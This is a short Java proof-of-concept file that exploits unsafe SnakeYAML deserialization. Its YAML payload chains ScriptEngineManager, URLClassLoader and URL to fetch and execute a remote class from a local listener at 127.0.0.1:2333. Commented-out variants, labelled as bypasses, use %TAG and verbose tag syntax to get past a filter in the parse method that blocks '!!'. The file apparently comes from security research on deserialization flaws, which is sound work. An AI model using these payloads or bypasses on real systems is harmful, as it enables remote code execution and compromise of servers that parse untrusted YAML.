| 7 | import org.yaml.snakeyaml.Yaml; |
| 8 | |
| 9 | public class SnakeYaml { |
| 10 | public static void main(String[] args) { |
| 11 | String data = "!" + |
| 12 | "!javax.script.ScriptEngineManager [!" + |
| 13 | "!java.net.URLClassLoader [[!" + |
| 14 | "!java.net.URL [\"http://127.0.0.1:2333/\"]]]]"; |
| 15 | //-------------------绕过----------- |
| 16 | //String data = "%TAG ! tag:yaml.org,2002:\n" + |
| 17 | // "---\n" + |
| 18 | // "!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL [\"http://127.0.0.1:2333/\"]]]]"; |
| 19 | |
| 20 | //String data = "!<tag:yaml.org,2002:javax.script.ScriptEngineManager> "+ |
| 21 | // "[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" + |
| 22 | // " [\"http://127.0.0.1:2333\"]]]]"; |
| 23 | |
| 24 | Object parse = SnakeYaml.parse(data,Object.class); |
| 25 | |
| 26 | } |
| 27 | |
| 28 | public static Object parse(String data,Class clazz){ |
| 29 | if(data.indexOf("!!")!=-1){ |
| 30 | throw new RuntimeException("error"); |
| 31 | } |
| 32 | Yaml yaml = new Yaml(); |
| 33 | return yaml.loadAs(data,clazz); |
| 34 | } |
| 35 | } |
nothing calls this directly
no outgoing calls
no test coverage detected